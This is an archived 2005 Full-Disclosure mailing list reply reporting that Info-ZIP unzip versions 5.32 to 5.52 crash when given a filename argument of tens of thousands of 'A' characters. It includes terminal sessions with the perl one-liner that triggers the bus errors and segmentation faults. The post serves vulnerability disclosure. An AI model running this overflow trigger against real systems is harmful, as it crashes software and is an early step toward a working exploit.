OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Re: [Full-disclosure] Unzip *ALL* verisons ;))

From: c0ntex (c0ntexbgmail.com)
Date: Mon Dec 19 2005 - 10:44:02 CST


On 19/12/05, Joachim Schipper <j.schippermath.uu.nl> wrote

> I cannot reproduce this, either with "A" x 5000 or "A" x 20000. I tested
> unzip-5.52 on Linux/i386-2.6 and OpenBSD/i386-3.8, and saw no error.
>
> Joachim

[c0ntex ~]$ unzip -v | head -1
UnZip 5.32 of 3 November 1997, by Info-ZIP. Maintained by Greg Roelofs. Send
[c0ntex ~]$
[c0ntex ~]$ uname -a
SunOS 5.8 Generic_117350-24 sun4u sparc SUNW,UltraAX-i2
[c0ntex ~]$ unzip `perl -e 'print "A" x 50000'`
Bus Error (core dumped)
[c0ntex ~]$

c0ntexdebauch:~$ unzip -v | head -1
UnZip 5.52 of 28 February 2005, by Info-ZIP. Maintained by C. Spieler. Send
c0ntexdebauch:~$ uname -a
Linux debauch 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
c0ntexdebauch:~$ unzip `perl -e 'print "A" x 32000'`
<snip>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ZIP.
error: zipfile probably corrupt (segmentation violation)
c0ntexdebauch:~$

[c0ntexlinuxbox tmp]$ unzip -v | head -1
UnZip 5.51 of 22 May 2004, by Info-ZIP. Maintained by C. Spieler. Send
[c0ntexlinuxbox tmp]$ uname -a
Linux linuxbox 2.6.12 #2 Wed Jul 13 10:19:26 BST 2005 i686 i686 i386 GNU/Linux
[c0ntexlinuxbox tmp]$ unzip `perl -e 'print "A" x 50000'`
Segmentation fault
[c0ntexlinuxbox tmp]$

--

regards
c0ntex
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/